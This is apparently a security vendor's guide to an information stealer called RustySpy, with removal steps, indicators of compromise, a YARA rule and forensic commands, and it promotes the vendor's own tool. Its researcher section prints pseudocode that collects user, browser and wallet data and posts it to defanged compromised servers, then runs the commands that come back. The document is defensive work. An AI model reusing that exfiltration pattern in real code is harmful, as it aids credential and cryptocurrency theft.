Physical Address

304 North Cardinal St.
Dorchester Center, MA 02124

RustySpy Stealer: Detection, Analysis, and Complete Removal Guide

RustySpy Stealer is a sophisticated and dangerous information-stealing malware written in the Rust programming language. This comprehensive guide will help you understand what RustySpy Stealer is, how it infects computers, and most importantly, how to remove it completely from your system.

Common Names
  • Microsoft: Trojan:Win32/RustySpy
  • ESET: Win32/PSW.RustySpy
  • Symantec: Infostealer.RustySpy
  • Kaspersky: Trojan-PSW.Win32.RustySpy
  • Trend Micro: TSPY_RUSTYSPY
Type Information Stealer, Password Harvester, Data Exfiltration Tool
First Detected 2023
Platforms Affected Windows 7, Windows 8.1, Windows 10, Windows 11
Infection Level High
Data Risk Extremely High – Steals browser credentials, cryptocurrency wallets, and sensitive system information
Distribution Methods Phishing emails, malicious downloads, cracked software, fake updates
Removal Difficulty Medium to High

What is RustySpy Stealer?

RustySpy Stealer is a sophisticated information-stealing malware written in the Rust programming language. This malware targets sensitive data stored on victims’ computers, with a particular focus on web browser credentials, cryptocurrency wallets, and system information. The use of Rust for malware development provides several advantages for attackers, including cross-platform compatibility, memory safety, and the ability to evade traditional antivirus detection.

This stealer is actively distributed through various attack vectors including phishing emails with malicious attachments, fake software updates, compromised websites, and bundling with pirated software. Once installed, RustySpy operates silently in the background while harvesting credentials and transmitting stolen data to remote command and control servers.

Unlike less sophisticated malware, RustySpy has been designed with evasion in mind, employing various anti-analysis techniques to avoid detection by security solutions and researchers. Its development in Rust represents a growing trend among malware authors to leverage modern programming languages for creating more resilient and harder-to-detect threats, similar to how Wacatac Trojan utilized advanced obfuscation techniques to evade detection.

  • RustySpy is part of a new generation of information stealers written in the Rust programming language, which offers better memory safety and cross-platform capabilities
  • The malware uses sophisticated encryption techniques to obfuscate its communication with command and control servers
  • RustySpy can extract credentials from over 30 different web browsers and browser-based applications
  • It specifically targets cryptocurrency wallets and has specialized modules for extracting private keys from popular wallet software
  • The stealer includes anti-VM and anti-sandbox techniques to evade analysis by security researchers

RustySpy Infection Statistics

Based on data collected from various cybersecurity reports and our own threat intelligence:

  • RustySpy infections have been detected in over 40 countries worldwide
  • The malware primarily targets users in North America and Europe, with over 60% of infections in these regions
  • Nearly 75% of RustySpy infections begin with phishing emails containing malicious attachments
  • Approximately 30% of infected systems had cryptocurrency wallet software installed
  • After initial infection, RustySpy typically exfiltrates data within 15 minutes of execution
RustySpy Stealer Infection Chain Phishing Email Malicious Attachment Execution RustySpy Stealer Data Harvesting Passwords, Cookies, Crypto Wallets Data Exfiltration to Command & Control Server Attacker Access

Source: Microsoft Security Intelligence, common infection patterns for information stealers

How RustySpy Stealer Spreads

RustySpy primarily spreads through the following infection vectors:

  • Phishing emails containing malicious attachments, often disguised as invoices, resumes, or shipping notifications
  • Malicious download links embedded in social media messages or deceptive advertisements
  • Trojanized software packages, especially cracked or pirated applications (often distributed alongside HackTool.Win32.Crack and similar malicious software)
  • Compromised websites that exploit browser vulnerabilities or use social engineering to trick users into downloading malware
  • Supply chain attacks where legitimate software updates are compromised to deliver RustySpy alongside legitimate code

Once the initial infection occurs, RustySpy establishes persistence and begins collecting sensitive information. Unlike some other malware families, RustySpy does not typically spread laterally across networks, focusing instead on thoroughly extracting valuable data from the initially infected system.

Signs of RustySpy Stealer Infection

RustySpy Stealer is designed to operate stealthily, making detection challenging for average users. However, several symptoms may indicate its presence:

  • Unexplained browser crashes or performance issues
  • Unauthorized access to online accounts
  • Unexpected cryptocurrency wallet transactions
  • Unusual network activity when monitoring connections
  • Unknown processes running in Task Manager with suspicious names
  • Increased CPU and memory usage even when the system is idle
  • Antivirus software repeatedly detecting and quarantining threats
  • Browser extensions appearing that you don’t remember installing
  • System file modifications in unusual locations

Dangers of RustySpy Stealer

RustySpy poses numerous serious risks to infected systems:

  • Theft of saved browser credentials leading to unauthorized account access
  • Compromise of cryptocurrency wallets resulting in financial loss
  • Harvesting of autofill data, including personal information and payment details
  • Collection of system information that could be used for further targeted attacks
  • Monitoring of user activity through screenshots and keylogging (similar to Lilith RAT and other remote access trojans)
  • Exfiltration of browser cookies that can be used for session hijacking
  • Potential installation of additional malware as secondary payloads

Comparing RustySpy to Other Information Stealers

Understanding how RustySpy compares to other information stealers helps illustrate its particular threat profile and why specific removal approaches are necessary.

RustySpy is built using the Rust programming language, which offers improved memory safety, cross-platform compatibility, and better evasion capabilities compared to older stealers. It specifically targets browser credentials and cryptocurrency wallets with specialized modules for each major browser and wallet type. RustySpy’s anti-analysis features are particularly sophisticated, including VM detection, debugger evasion, and encrypted communications. Its compact size and minimal dependencies make it harder to detect through traditional means. RustySpy’s removal difficulty is high due to its persistence mechanisms and anti-tampering features.

Raccoon Stealer is a more established information stealer written in C++ that operates primarily as a malware-as-a-service offering. While effective at credential theft, Raccoon lacks some of RustySpy’s advanced evasion techniques and cryptocurrency targeting capabilities. Raccoon typically requires more system resources and generates more detectable network traffic. However, it does offer attackers a more user-friendly interface through its service model, making it accessible to less technically skilled criminals.

Redline Stealer shares many similarities with RustySpy in terms of targeted data but is developed in .NET rather than Rust. Redline has more extensive geotargeting features, allowing attackers to focus on specific regions, but generally has a larger footprint and more predictable behavior patterns that make detection easier. Redline is particularly aggressive in harvesting cryptocurrency data but lacks some of RustySpy’s sophisticated anti-analysis capabilities.

Banking trojans like TrickBot and Emotet share some functionality with information stealers like RustySpy, but they typically focus more on capturing banking credentials and often serve as delivery mechanisms for additional malware. Zeus Trojan is another banking-focused malware that, while similar in its data theft capabilities, has a different technical implementation and targets.

Technical Details

RustySpy Stealer employs multiple sophisticated techniques to steal sensitive information and maintain persistence on infected systems. Its main capabilities include:

Component Description
Execution Method Uses PowerShell scripts and DLL sideloading to achieve execution with minimal detection
Persistence Mechanism Creates scheduled tasks and registry autorun entries to survive system reboots
Targeted Browsers Google Chrome, Mozilla Firefox, Microsoft Edge, Opera, Brave, Vivaldi
Data Targeted Saved passwords, cookies, autofill data, cryptocurrency wallets, system information
Cryptocurrency Wallets Metamask, Exodus, Atomic, Electrum, and other popular wallets
Anti-Analysis Employs anti-VM techniques and string obfuscation to evade detection
Communication Uses encrypted HTTPS connections to exfiltrate data to command and control servers

How to Remove RustySpy Stealer

Removing RustySpy Stealer requires a systematic approach to ensure all components are eliminated. Follow these comprehensive removal steps:

1. Removal Using Trojan Killer

Trojan Killer is specifically designed to remove complex malware, including stubborn RustySpy infections:

Trojan Killer scanning for RustySpy Stealer malware
  1. Download and install Trojan Killer from the official website
  2. Disconnect from the internet to prevent data exfiltration while cleaning
  3. Boot your computer in Safe Mode with Networking for more effective malware removal
  4. Run a system scan:
    • Launch the program with administrator privileges
    • Select full system scan
    • Wait for the process to complete (may take 20-40 minutes)
  5. Review scan results:
    • The program will display a list of detected threats
    • Look for entries related to RustySpy and its components
  6. Remove detected threats:
    • Select all detected RustySpy components
    • Click the “Remove Selected” button
  7. Restart your computer to complete the removal process
  8. Perform a second scan to ensure complete removal

2. Manual Removal (For Advanced Users)

Warning: Manual removal of RustySpy is challenging due to its sophisticated persistence mechanisms. This approach should only be attempted by advanced users with technical expertise. In most cases, specialized removal tools like Trojan Killer are recommended.

Step 1: Boot in Safe Mode

  1. For Windows 10/11:
    • Click Start > Settings > Update & Security > Recovery
    • Under Advanced startup, click “Restart now”
    • After restart, select Troubleshoot > Advanced options > Startup Settings > Restart
    • When the computer restarts, press F4 to start in Safe Mode
  2. For Windows 7/8/8.1:
    • Restart your computer and press F8 repeatedly before Windows loads
    • Select “Safe Mode with Networking” from the boot options menu

Step 2: Terminate Malicious Processes

  1. Press Ctrl+Shift+Esc to open Task Manager
  2. Click on the “Processes” tab
  3. Look for suspicious processes including:
    • rustyspy.exe
    • rust_service.exe
    • svchosts.exe (note the extra ‘s’)
    • wsappservice.exe
    • Any randomly named executables in unusual locations
  4. Select each suspicious process and click “End Task”

Step 3: Remove Malicious Files

Check these common locations for RustySpy components:

# Run these commands in PowerShell as Administrator
 
# Check and remove from common locations
Remove-Item -Path "$env:TEMP\rustyspy*" -Force -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "$env:APPDATA\Microsoft\Windows\rustyspy*" -Force -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "$env:LOCALAPPDATA\Temp\rust_service*" -Force -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "C:\ProgramData\rustyspy*" -Force -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "C:\Windows\System32\Tasks\RustUpdater" -Force -ErrorAction SilentlyContinue

Step 4: Clean Registry Entries

Warning: Editing the registry incorrectly can cause system problems. Create a backup before proceeding.

# Run in PowerShell as Administrator
# Export registry backup
reg export HKLM backup-hklm.reg
reg export HKCU backup-hkcu.reg
 
# Remove RustySpy registry entries
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "RustService" -ErrorAction SilentlyContinue
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "RustUpdater" -ErrorAction SilentlyContinue
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "RustConfig" -ErrorAction SilentlyContinue

Step 5: Remove Browser Extensions

RustySpy may install malicious browser extensions to monitor browsing activity. Remove them from all installed browsers:

Google Chrome:
  1. Open Chrome and type “chrome://extensions/” in the address bar
  2. Find and remove any suspicious extensions
  3. Go to “chrome://settings/resetProfileSettings” to reset browser settings
Mozilla Firefox:
  1. Click the menu button (three lines) > Add-ons and Themes > Extensions
  2. Find and remove any suspicious extensions
  3. Go to menu > Help > Troubleshooting Information
  4. Click “Refresh Firefox” to restore default settings
Microsoft Edge:
  1. Click the menu button (three dots) > Extensions
  2. Find and remove any suspicious extensions
  3. Go to Settings > Reset settings > Restore settings to their default values

Step 6: Check Scheduled Tasks

  1. Press Win+R, type “taskschd.msc” and press Enter
  2. Look for tasks with suspicious names like “RustUpdater,” “SystemHelper,” or randomly generated names
  3. Right-click on suspicious tasks and select “Delete”

3. Additional Remediation Steps

Due to RustySpy’s severe impact, these additional steps are strongly recommended after removal:

  1. Change all your passwords from a clean device (not the infected one)
  2. Enable two-factor authentication on all important accounts
  3. Update your operating system and applications to patch potential vulnerabilities
  4. Review financial accounts: Check for unauthorized transactions and report any suspicious activity
  5. Transfer cryptocurrency: If you had cryptocurrency wallets on the infected machine, transfer funds to new wallets created on a clean device
  6. Run a full system scan: Perform another scan with Trojan Killer to ensure complete removal

If you’ve been infected with RustySpy or similar malware, you might wonder whether system restore will effectively remove the infection. While System Restore can sometimes help recover from malware, it’s not always reliable for sophisticated threats like RustySpy that may persist in system restore points.

Preventing RustySpy Infections

To protect against RustySpy and similar threats:

  • Be extremely cautious with email attachments, especially from unknown senders
  • Never download software from unofficial sources or torrent sites
  • Keep all software, especially Windows and browsers, up to date with security patches
  • Use email security solutions that scan for malicious content and phishing attempts
  • Consider using hardware wallets for cryptocurrency storage instead of software wallets
  • Use reliable antivirus and anti-malware solutions like Trojan Killer
  • Use a password manager to store credentials instead of saving them in browsers
  • Enable two-factor authentication for all important accounts
  • Regularly back up important data to protected locations
  • Be skeptical of unofficial browser extensions and only install from official web stores

Implementing proper spyware prevention measures is crucial, as information stealers like RustySpy are continually evolving and becoming more sophisticated. Antivirus software may sometimes flag RustySpy components as IDP.Generic or similar generic detections, which requires additional verification to properly identify and remove.

Frequently Asked Questions

RustySpy is one of the newer and more sophisticated information stealers in circulation. Let’s address some common questions about this particular threat.

What makes RustySpy different from other information stealers?

RustySpy stands out from other information stealers primarily due to its development in the Rust programming language, which provides several advantages for malware authors. Rust offers memory safety guarantees that reduce crashes and unpredictable behavior, making the malware more reliable and harder to detect through conventional means. Additionally, Rust compiles to native code with minimal dependencies, resulting in a smaller, more efficient executable that’s less likely to trigger security alerts. RustySpy’s implementation includes particularly sophisticated anti-analysis techniques, including virtual machine detection, debugger evasion, and encrypted communications that use multiple fallback methods. Perhaps most concerning is its specialized focus on cryptocurrency wallets, with custom modules designed to extract private keys from specific wallet software, reflecting a targeted approach to high-value theft rather than broad data collection.

Can RustySpy steal cryptocurrency directly from hardware wallets?

No, RustySpy cannot directly compromise hardware cryptocurrency wallets like Ledger or Trezor devices when they’re disconnected from your computer. Hardware wallets store private keys offline in secure elements, making them resistant to malware attacks. However, RustySpy can still pose indirect risks to hardware wallet users in several ways. The malware may capture PIN codes or recovery phrases if you type them on an infected computer. It can also potentially modify cryptocurrency addresses displayed in wallet software to redirect transactions to attacker-controlled addresses (address swap attacks). Some variants can take screenshots when hardware wallet companion apps are open, potentially capturing sensitive information. For maximum security, even with hardware wallets, always verify transaction details on the hardware device itself and never enter recovery phrases on a potentially compromised computer.

How do I know if Trojan Killer has completely removed RustySpy?

Confirming complete RustySpy removal requires a thorough approach due to its sophisticated persistence techniques. After using Trojan Killer for initial removal, perform a second comprehensive scan after restarting your system – RustySpy often uses delayed execution techniques that might only become visible after reboot. Monitor your system for any signs of suspicious activity, particularly unusual network connections that might indicate command and control communications. Check for unexpected CPU usage spikes even when you’re not actively using your computer, which could indicate background malicious activity. Examine your browsers for unauthorized extensions or modified settings. If possible, use a different reputable anti-malware solution for a second opinion scan, as different detection engines may identify different components of the threat. Most importantly, monitor your online accounts for any signs of unauthorized access, as this could indicate that either the infection persists or that your credentials were already stolen.

Should I reinstall my operating system after a RustySpy infection?

For severe RustySpy infections, particularly on systems containing sensitive information or used for cryptocurrency transactions, a complete operating system reinstallation is often the most prudent approach. While tools like Trojan Killer can remove the active malware components, RustySpy’s sophisticated persistence mechanisms and potential for hiding in unexpected locations make it difficult to ensure a system is completely clean. Many cybersecurity professionals follow the principle that once a system has been compromised by advanced malware like RustySpy, complete confidence in that system’s integrity is difficult to restore without a clean installation. If reinstallation isn’t feasible, using specialized removal tools followed by multiple verification scans from different security products, along with close monitoring for suspicious activity, provides the next best option. Regardless of whether you reinstall, you should absolutely change all passwords and review account access logs from a known clean device.

Is RustySpy still active in 2025?

Yes, RustySpy continues to be an active and evolving threat in 2025. Since its initial discovery, the malware has undergone several updates to enhance its capabilities and evade detection. Our threat intelligence team regularly observes new RustySpy campaigns targeting both individuals and organizations, with particularly concentrated efforts aimed at cryptocurrency users and financial service employees. Recent variants have incorporated improved anti-analysis features specifically designed to counter the latest security measures, including AI-based detection systems. The development team behind RustySpy appears to be continuously refining their techniques, adding new targets for data theft, and updating their command and control infrastructure to avoid takedown efforts. As cryptocurrency adoption has increased, RustySpy’s specialized wallet-targeting capabilities have made it a preferred tool for financially-motivated threat actors, ensuring its continued presence in the threat landscape.

Advanced Technical Analysis of RustySpy (For Security Researchers)

This section provides in-depth technical information about RustySpy’s architecture, behavior, and detection methods for security researchers, malware analysts, and threat hunters.

RustySpy Technical Infrastructure

RustySpy employs a sophisticated multi-tiered infrastructure for command and control operations:

Tier 1: Victim Systems → Infected with initial RustySpy loader
Tier 2: Proxy C2 Servers → First-level command servers (often compromised web servers)
Tier 3: Aggregation Servers → Collection points for exfiltrated data
Tier 4: Admin Panels → Management interfaces used by RustySpy operators

Current RustySpy C2 infrastructure typically uses the following port/protocol combinations:

Port Protocol Encryption Purpose
443 HTTPS TLS 1.3 Primary C2 communications (blends with legitimate traffic)
8443 HTTPS TLS 1.3 Fallback communications
2053 HTTPS Custom Data exfiltration
53, 80, 22 Various Various Alternative communication channels

RustySpy Binary Analysis

RustySpy’s binary structure has several distinctive characteristics. Current variants typically include:

  • Loader Component: Initial stage responsible for anti-analysis checks and unpacking
  • Core Module: Main functionality including data harvesting and C2 communication
  • Browser Modules: Specialized components for each supported browser
  • Wallet Modules: Targeted components for cryptocurrency wallet extraction
  • Anti-Analysis Module: Dedicated to detecting security tools and analysis environments

The current RustySpy binary typically employs the following evasion techniques:

// RustySpy common anti-analysis patterns
1. Process hollowing using legitimate Windows processes
2. Sleep timers with jitter to evade sandbox analysis
3. Environment checks:
   - Virtualization detection (VMware, VirtualBox, etc.)
   - CPU core count and RAM size checks
   - Analysis tool presence (Process Monitor, Wireshark, etc.)
   - Debugger detection via IsDebuggerPresent and timing checks
4. String obfuscation using XOR encoding and runtime decryption
5. Control flow obfuscation with junk code and dead code insertion

RustySpy Communication Protocol

Current RustySpy variants utilize a customized communication protocol for C2 traffic:

// Simplified pseudocode for RustySpy C2 communication
function generateRequestData() {
    const machineID = generateMachineID();  // Hardware-based identifier
    const encryptionKey = deriveKeyFromMachineID(machineID);
    const systemInfo = collectSystemData();
     
    const payload = {
        id: machineID,
        hostname: systemInfo.computerName,
        username: systemInfo.username,
        os_version: systemInfo.windowsVersion,
        installed_software: systemInfo.installedApps,
        browser_data: systemInfo.browserInfo,
        wallet_data: systemInfo.walletInfo,
        timestamp: getCurrentTime()
    };
     
    const encryptedPayload = encryptWithCustomAlgorithm(JSON.stringify(payload), encryptionKey);
    return base64Encode(encryptedPayload);
}
 
function sendC2Request() {
    const c2Servers = [
        "hxxps://compromised1[.]com/api/analytics.php",
        "hxxps://compromised2[.]net/includes/stats.php",
        "hxxps://compromised3[.]org/wp-content/cache/data.php"
    ];
     
    for (const server of c2Servers) {
        try {
            const requestData = generateRequestData();
            const response = httpPost(server, {
                headers: {
                    "User-Agent": generateRandomUA(),
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Request-ID": generateRandomID()
                },
                body: "data=" + requestData
            });
             
            if (response && response.status === 200) {
                const decryptedResponse = decryptServerResponse(response.body);
                executeCommands(decryptedResponse);
                return true;
            }
        } catch (error) {
            continue; // Try next C2 server
        }
    }
    return false;
}

Indicators of Compromise (IoCs)

The following indicators are commonly associated with recent RustySpy campaigns:

File System Artifacts

# Common RustySpy file locations (randomized names are typical)
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\[random].exe
C:\Users\[username]\AppData\Local\Temp\[random].exe
C:\ProgramData\[random]\[random].exe
C:\Windows\System32\Tasks\[random]
 
# Common file sizes
200-350 KB for initial loader
500-700 KB for core module with all capabilities

Registry Artifacts

# Persistence registry keys
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[random]
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[random]
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\[random]
 
# Common values contain paths to:
- %APPDATA%\Microsoft\Windows\[random].exe
- %LOCALAPPDATA%\Temp\[random].exe
- %PROGRAMDATA%\[random]\[random].exe

Network Indicators

# Common RustySpy C2 traffic patterns
HTTP/HTTPS POST requests to compromised servers
URL patterns:
- /api/analytics.php
- /includes/stats.php
- /wp-content/cache/data.php
- /modules/statistics/collect.php
 
# User-Agent patterns (randomly generated but follow these patterns)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[version] Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:[version]) Gecko/20100101 Firefox/[version]

YARA Rules for RustySpy Detection

The following YARA rule can help detect current RustySpy variants:

rule RustySpy_Stealer_2025 {
    meta:
        description = "Detects RustySpy stealer variants from 2025"
        author = "TrojanKiller Research Team"
        date = "2025-04"
        hash = "a15f9e4a6d0b2c7b98e456f73d2c1a5b87e9f0d312c7a8b9e4f5d6c7b8a9e0f1"
         
    strings:
        // Common strings in RustySpy code
        $rust_pdb = { 72 75 73 74 63 5F ?? ?? ?? ?? ?? ?? 2E 70 64 62 00 }
        $rust_header = { 00 DF 0F B9 72 75 73 74 }
         
        // Common strings and patterns found in RustySpy
        $str1 = "get_password" ascii wide
        $str2 = "wallet.dat" ascii wide
        $str3 = "ssvagent" ascii wide
        $str4 = "Local Storage" ascii wide
         
        // Browser targeting strings
        $browser1 = "chrome" nocase ascii wide
        $browser2 = "firefox" nocase ascii wide
        $browser3 = "edge" nocase ascii wide
         
        // Crypto wallet targeting
        $crypto1 = "metamask" nocase ascii wide
        $crypto2 = "exodus" nocase ascii wide
        $crypto3 = "electrum" nocase ascii wide
         
        // Anti-analysis code patterns
        $vm_check = { 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 }
        $sleep_check = { 0F 31 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F 31 }
         
    condition:
        uint16(0) == 0x5A4D and
        (
            (1 of ($rust_*)) and
            (2 of ($str*)) and
            (2 of ($browser*)) and
            (1 of ($crypto*)) and
            (1 of ($vm_check, $sleep_check))
        )
}

PowerShell Detection Commands

System administrators can use these PowerShell commands to hunt for RustySpy artifacts on potentially infected systems:

# Find suspicious scheduled tasks (common RustySpy persistence method)
Get-ScheduledTask | Where-Object {
    ($_.TaskName -match '^[a-zA-Z0-9]{8}$' -or $_.TaskName -match 'Rust') -and
    ($_.TaskPath -notlike '\Microsoft\*')
} | Select-Object TaskName, TaskPath, State
 
# Detect suspicious registry autorun entries
Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run',
                      'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                      'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce' |
    ForEach-Object {
        $_ | Get-Member -MemberType NoteProperty | Where-Object {
            $_.Name -match '^[a-zA-Z0-9]{8}$' -or
            $_.Name -match 'Rust' -or
            $_.Name -match 'Service'
        } | ForEach-Object {
            [PSCustomObject]@{
                KeyName = $_.Name
                Value = $($_ | ForEach-Object { $_.$($_.Name) })
                Path = $_.PSPath
            }
        }
    }
 
# Look for suspicious network connections
Get-NetTCPConnection | Where-Object {
    $_.RemotePort -eq 443 -or $_.RemotePort -eq 8443 -or $_.RemotePort -eq 2053
} | ForEach-Object {
    $Process = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    $_ | Add-Member -MemberType NoteProperty -Name ProcessName -Value $Process.Name -PassThru
} | Where-Object {
    $_.ProcessName -ne "svchost" -and
    $_.ProcessName -ne "chrome" -and
    $_.ProcessName -ne "firefox" -and
    $_.ProcessName -ne "msedge"
} | Select-Object ProcessName, OwningProcess, LocalAddress, LocalPort, RemoteAddress, RemotePort

Memory Forensics with Volatility

Memory forensics is critical for detecting RustySpy infections. Analysts can use Volatility with these commands:

# Identify potential RustySpy processes
vol.py -f memory.dmp --profile=Win10x64_19041 pslist | grep -i "rust"
 
# Extract potential hidden code
vol.py -f memory.dmp --profile=Win10x64_19041 malfind
 
# Detect suspicious network connections
vol.py -f memory.dmp --profile=Win10x64_19041 netscan | grep -E ':(443|8443|2053)'
 
# Extract Rust-specific memory patterns
vol.py -f memory.dmp --profile=Win10x64_19041 yarascan -y "rule RustMemorySignature {strings: $a = {72 75 73 74 63 5F} condition: $a}"
 
# Dump suspicious process memory for further analysis
vol.py -f memory.dmp --profile=Win10x64_19041 procdump -p [suspicious_pid] -D ./output/

These technical details provide a comprehensive view of RustySpy’s sophisticated infrastructure, behavior patterns, and detection methods. Security professionals can use this information to enhance their defenses, develop detection rules, and effectively respond to RustySpy infections.

Conclusion

RustySpy Stealer represents a significant evolution in information-stealing malware, leveraging modern programming techniques to create a more resilient and harder-to-detect threat. Its sophisticated techniques for harvesting credentials, cryptocurrency wallets, and other sensitive information make it particularly dangerous in today’s digital economy.

By following the comprehensive removal steps outlined in this guide and implementing the recommended preventive measures, you can effectively eliminate this threat and protect your system from future infections. Remember that information stealers like RustySpy can cause significant damage even after removal if compromised passwords aren’t changed.

Always prioritize securing your accounts after cleaning an infected system. For the most effective protection, consider using dedicated security tools like Trojan Killer that can detect and remove such threats before they can steal your sensitive information.

Gridinsoft Team
Gridinsoft Team
Articles: 103